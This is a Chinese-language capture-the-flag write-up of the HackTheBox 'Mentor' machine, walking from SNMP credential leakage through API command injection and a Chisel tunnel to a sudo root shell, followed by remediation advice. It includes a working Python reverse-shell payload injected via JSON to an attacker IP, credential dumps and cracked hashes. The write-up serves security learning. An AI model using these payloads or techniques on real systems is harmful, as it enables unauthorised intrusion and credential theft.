HTB Mentor 渗透测试详细记录
摘要
本文详细记录了对 HTB Mentor靶机进行的渗透测试全过程。从初始侦察、服务探测到最终获取管理员权限,展示了一条完整的攻击路径。涉及多种攻击技术,包括端口扫描、协议分析、API攻击、容器逃逸和权限提升等,最终实现了从零权限到root权限的完整控制。
关键技术
- Nmap 端口扫描与服务识别
- SNMP服务探测与信息收集
- 子域名爆破
- API接口测试与JWT令牌分析
- 命令注入漏洞利用
- 容器环境下的信息收集
- 代理隧道建立(Chisel)
- PostgreSQL数据库访问与密码哈希破解

1. 初始侦察阶段
首先,我们使用Nmap进行TCP端口快速扫描,探测目标主机开放的服务:
nmap -sT -min-rate 10000 -p- 10.10.11.193
参数说明:
-sT
:进行完整的TCP连接扫描(相比SYN扫描更容易被检测但更准确)-min-rate 10000
:设置每秒发送的最小数据包数,加快扫描速度-p-
:扫描所有65535个端口10.10.11.193
:目标IP地址
扫描结果显示两个开放的TCP端口:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
这表明目标机器开放了SSH服务和Web服务,为我们提供了初步的攻击面。
2. 服务探测与信息收集
2.1 深入的服务探测
使用Nmap的服务版本检测、默认脚本和操作系统检测功能进行更深入的探测:
nmap -sT -sC -sV -O -p22,80 10.10.11.193
参数说明:
-sC
:使用默认的Nmap脚本进行扫描-sV
:探测服务版本信息-O
:尝试识别操作系统-p22,80
:只扫描这两个已知开放的端口
扫描结果提供了更多详细信息:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c7:3b:fc:3c:f9:ce:ee:8b:48:18:d5:d1:af:8e:c2:bb (ECDSA)
|_ 256 44:40:08:4c:0e:cb:d4:f1:8e:7e:ed:a8:5c:68:a4:f7 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://mentorquotes.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
从结果中我们发现:
- SSH服务运行OpenSSH 8.9p1,主机可能是Ubuntu系统
- HTTP服务运行Apache 2.4.52,且存在重定向到
http://mentorquotes.htb/
域名
2.2 添加域名解析
由于检测到网站重定向到域名mentorquotes.htb
,需要在本地hosts文件中添加解析:
echo "10.10.11.193 mentorquotes.htb" >> /etc/hosts
2.3 Web应用识别
使用whatweb工具收集网站指纹信息:
whatweb http://mentorquotes.htb
结果显示:
http://mentorquotes.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.0.3 Python/3.6.9], IP[10.10.11.193], Python[3.6.9], Title[MentorQuotes], Werkzeug[2.0.3]
这表明网站使用Python构建,使用Werkzeug 2.0.3作为WSGI服务器,Python版本为3.6.9。
2.4 目录枚举尝试
尝试使用各种工具进行目录和子域名枚举,但结果不理想:
feroxbuster -u http://mentorquotes.htb
gobuster dir -u http://mentorquotes.htb -w /usr/share/wordlists/dirb/common.txt
gobuster dns -d mentorquotes.htb -w /usr/share/wordlists/dnsmap.txt
2.5 UDP端口扫描
由于TCP端口扫描的结果有限,我们转向UDP端口扫描:
nmap -sU -min-rate 10000 -p- 10.10.11.193
参数说明:
-sU
:使用UDP扫描模式(与TCP不同,UDP是无连接协议)
扫描结果发现了一个开放的UDP端口:
PORT STATE SERVICE
161/udp open snmp
SNMP(简单网络管理协议)是一个常用于网络设备管理的协议,通常包含敏感信息。
2.6 SNMP服务探测
下载并使用SNMP爆破工具进行社区字符串枚举:
git clone https://github.com/SECFORCE/SNMP-Brute.git
python3 snmpbrute.py -t 10.10.11.193
成功发现几个社区字符串:
Identified Community strings
0) 10.10.11.193 internal (v2c)(RO)
1) 10.10.11.193 public (v1)(RO)
2) 10.10.11.193 public (v2c)(RO)
3) 10.10.11.193 public (v1)(RO)
4) 10.10.11.193 public (v2c)(RO)
使用snmpwalk工具获取SNMP信息树:
snmpwalk -v 2c -c internal 10.10.11.193 | tee snmpwalk.txt
参数说明:
-v 2c
:使用SNMP版本2c-c internal
:使用社区字符串"internal"tee snmpwalk.txt
:将输出保存到文件
从SNMP中发现了敏感信息,疑似登录凭据:
iso.3.6.1.2.1.25.4.2.1.5.2131 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"
2.7 子域名探测
使用ffuf工具进行子域名爆破:
ffuf -u http://10.10.11.193 -H "Host: FUZZ.mentorquotes.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 18 -mc all
参数说明:
-u
:指定URL-H "Host: FUZZ.mentorquotes.htb"
:在Host头中使用FUZZ占位符-w
:使用的字典文件-fw 18
:过滤掉包含18个单词的响应(避免误报)-mc all
:匹配所有状态码
发现一个子域名:
api [Status: 404, Size: 22, Words: 2, Lines: 1, Duration: 422ms]
将这个子域名添加到hosts文件:
echo "10.10.11.193 api.mentorquotes.htb" >> /etc/hosts
3. 漏洞识别与初始访问
3.1 API接口探索
对API子域名进行目录探测:
feroxbuster -u http://api.mentorquotes.htb --no-recursion --methods GET,POST
发现了几个API接口:
http://api.mentorquotes.htb/admin/
http://api.mentorquotes.htb/users/
http://api.mentorquotes.htb/quotes/
http://api.mentorquotes.htb/docs
其中只有/docs
接口返回200状态码。通过访问这个接口,我们发现了用户名james和邮箱james@mentorquotes.htb。

3.2 API身份验证测试
使用SNMP中发现的凭据尝试登录:
POST /auth/login HTTP/1.1
Host: api.mentorquotes.htb
accept: application/json
Content-Type: application/json
Content-Length: 106
{
"email": "james@mentorquotes.htb",
"username": "james",
"password": "kj23sadkj123as0-d213"
}
成功获取了JWT认证令牌。

3.3 访问管理员接口
尝试访问/admin/
接口,但收到缺少Authorization头的错误:
HTTP/1.1 422 Unprocessable Entity
...
{"detail":[{"loc":["header","Authorization"],"msg":"field required","type":"value_error.missing"},{"loc":["header","Authorization"],"msg":"field required","type":"value_error.missing"}]}
添加Authorization头后重新请求:
GET /admin/ HTTP/1.1
Host: api.mentorquotes.htb
...
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0
...
收到成功响应,显示了可用的管理功能:
HTTP/1.1 200 OK
...
{"admin_funcs":{"check db connection":"/check","backup the application":"/backup"}}

3.4 利用命令注入漏洞
尝试用Get方法访问/admin/backup
接口,需要使用POST方法并添加参数,构造完成的请求包如下,测试了一些别的字符,我发现,无论构造什么参数,都会返回完成,尝试进行命令执行:
POST /admin/backup HTTP/1.1
Host: api.mentorquotes.htb
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0
Content-Type: application/json
Content-Length: 33
{"body":"test","path":"abc"}
需要找一些能够回显参数来验证命令执行,尝试反弹shell
先建立监听
nc -lvnp 9999
构造python反弹shell脚本,这个网站是python编写的,我确信使用python能够正常反弹shell,不会发生奇怪的问题
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.16.22",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
攻击载荷如下,有双引号的地方,要加上反斜杠转义
{"body":"test","path": ";python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.16.22\",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")';"}
成功反弹shell,检查自己是root权限,但是,没有/root目录,在home目录找到/svc 拿到了key1
listening on [any] 9999 ...
connect to [10.10.16.22] from (UNKNOWN) [10.10.11.193] 48662
/app # ^[[34;8R
/home/svc # ^[[34;13Rcat user.txt
cat user.txt
b8269727f67e6c3684d52be9cefe4d86
4. 横向移动
4.1 容器环境识别
通过ifconfig
命令发现当前环境是一个容器,IP地址为172.22.0.3:
eth0 Link encap:Ethernet HWaddr 02:42:AC:16:00:03
inet addr:172.22.0.3 Bcast:172.22.255.255 Mask:255.255.0.0
...
4.2 数据库凭据发现
在/app
目录中找到web应用的数据库配置文件,其中包含PostgreSQL凭据:
cat db.py
DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")
4.3 建立网络隧道
下载并使用Chisel工具建立网络隧道,以访问容器外的PostgreSQL数据库:
- 在本地下载解压并启动http服务分享Chisel:
wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz
python -m http.server
- 在目标机器下载并运行Chisel客户端:
wget 10.10.16.22:8000/chisel
chmod 777 chisel
./chisel client -v 10.10.16.22:9000 R:5432:172.22.0.1:5432
- 在本地启动Chisel服务端:
apt install chisel
chisel server --port 9000 --reverse
4.4 数据库渗透
使用psql工具通过隧道连接数据库:
psql -h 127.0.0.1 -p 5432 -d mentorquotes_db -U postgres
从数据库中获取用户密码哈希值:
用户 postgres 的口令:
psql (17.4 (Debian 17.4-1+b1), 服务器 13.7 (Debian 13.7-1.pgdg110+1))
输入 "help" 来获取帮助信息.
mentorquotes_db=# \dt
关联列表
架构模式 | 名称 | 类型 | 拥有者
----------+----------+--------+----------
public | cmd_exec | 数据表 | postgres
public | quotes | 数据表 | postgres
public | users | 数据表 | postgres
(3 行记录)
mentorquotes_db=# select * from users;
id | email | username | password
----+------------------------+-------------+----------------------------------
1 | james@mentorquotes.htb | james | 7ccdcd8c05b59add9c198d492b36a503
2 | svc@mentorquotes.htb | service_acc | 53f22d0dfa10dce7e29cd31f4f953fd8
(2 行记录)
在https://crackstation.net/,成功破解出svc用户的密码 123meunomeeivani

4.5 SSH访问
使用破解出的凭据,通过SSH登录目标机器:
ssh svc@10.10.11.193
成功以svc用户身份登录到主机系统。
5. 权限提升前的信息收集
5.1 用户环境探索
查看目标系统的用户情况:
svc@mentor:/home$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Jun 10 2022 .
drwxr-xr-x 19 root root 4096 Nov 10 2022 ..
drwxr-x--- 3 james james 4096 Nov 10 2022 james
drwxr-x--- 4 svc svc 4096 Nov 11 2022 svc
发现系统中存在james用户。
5.2 SNMP配置检查
在最开始的信息收集阶段,这台主机上有snmp服务,检查一下snmp的配置文件,在这里/etc/snmp/snmpd.conf
,寻找敏感信息:
cat /etc/snmp/snmpd.conf | grep -v "^#" | grep .
找到了一个敏感密码:
createUser bootstrap MD5 SuperSecurePassword123__ DES
6. 权限提升
6.1 用户切换
使用SNMP配置中找到的密码尝试登录root ,失败
尝试登录james 成功切换到james
su james
密码验证成功,成功切换到james用户。
6.2 Sudo权限检查
检查james用户的sudo权限:
sudo -l
结果显示james可以以root权限运行/bin/sh:
[sudo] password for james:
Matching Defaults entries for james on mentor:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on mentor:
(ALL) /bin/sh
6.3 获取Root权限
使用sudo执行sh命令,获取root权限:
sudo /bin/sh
成功获取root权限,并读取根目录下的flag:
# whoami
root
# cat /root/root.txt
347932fd20fe81203237ad65064ea686
7. 总结与安全建议
安全漏洞列表
- SNMP服务配置不当,使用弱社区字符串(internal、public)
- SNMP服务泄露敏感信息(登录凭据)
- API接口缺乏严格的输入验证,存在命令注入漏洞
- 数据库连接字符串硬编码在代码中
- 使用弱密码和重复使用密码
- 过度权限分配(james用户可以直接运行root shell)
详细修复建议
- SNMP安全加固:
- 禁用不必要的SNMP版本(特别是v1和v2c)
- 使用强社区字符串或切换到SNMPv3
- 限制SNMP访问源IP地址
- 定期审计SNMP配置
- API安全加强:
- 实施严格的输入验证和参数清理
- 使用参数化命令而非直接执行用户输入
- 考虑使用特权分离和沙盒化技术
- 实施正确的错误处理机制,避免泄露敏感信息
- 凭据管理改进:
- 避免在代码中硬编码密码和连接字符串
- 使用环境变量或安全的凭据存储系统
- 实施密码复杂度策略
- 避免在不同系统间重复使用相同密码
- 权限管理优化:
- 实施最小权限原则
- 细化sudo配置,避免分配全局root权限
- 定期审计用户权限
预防类似问题的安全策略
- 安全编码实践:
- 实施安全代码审查流程
- 使用静态代码分析工具识别常见漏洞
- 为开发人员提供安全编码培训
- 配置管理:
- 使用配置管理工具确保一致的安全配置
- 建立服务器加固基线
- 定期审计系统配置
- 漏洞管理:
- 定期进行漏洞扫描和渗透测试
- 建立漏洞响应和修复流程
- 监控安全公告及时更新系统
- 凭据和访问管理:
- 实施集中式身份验证和授权系统
- 定期轮换密码和访问凭据
- 使用多因素身份验证
- 审计和监控权限使用情况
8. 漏洞利用路径总结
完整攻击链路图
- 初始侦察:Nmap扫描发现开放的HTTP和SSH端口
- 漏洞发现:UDP扫描发现SNMP服务,通过SNMP泄露获取初始凭据
- 初始访问:使用获取的凭据登录API,利用命令注入获取容器内shell
- 横向移动:
- 通过配置文件发现数据库凭据
- 使用Chisel建立隧道访问数据库
- 从数据库获取并破解密码哈希
- 使用破解的密码通过SSH登录主机
- 权限提升:
- 从SNMP配置文件获取另一个密码
- 切换到james用户
- 利用sudo权限获取root shell
各阶段关键点总结
- 侦察阶段:全面的端口扫描(TCP和UDP)是发现隐藏入口点的关键
- 信息收集:SNMP服务往往包含敏感信息,值得深入探索
- 初始访问:API接口的命令注入漏洞提供了初始立足点
- 横向移动:容器环境中的配置文件和网络隧道技术是突破网络隔离的关键
- 权限提升:配置文件中的密码和过度权限分配是最终获取最高权限的关键
攻击向量简明展示
扫描发现SNMP服务 → SNMP泄露凭据 → API认证 → 命令注入获取容器shell →
配置文件泄露数据库凭据 → 数据库访问获取密码哈希 → SSH登录 →
SNMP配置泄露另一密码 → 切换用户 → 利用sudo权限获取root
Comments NOTHING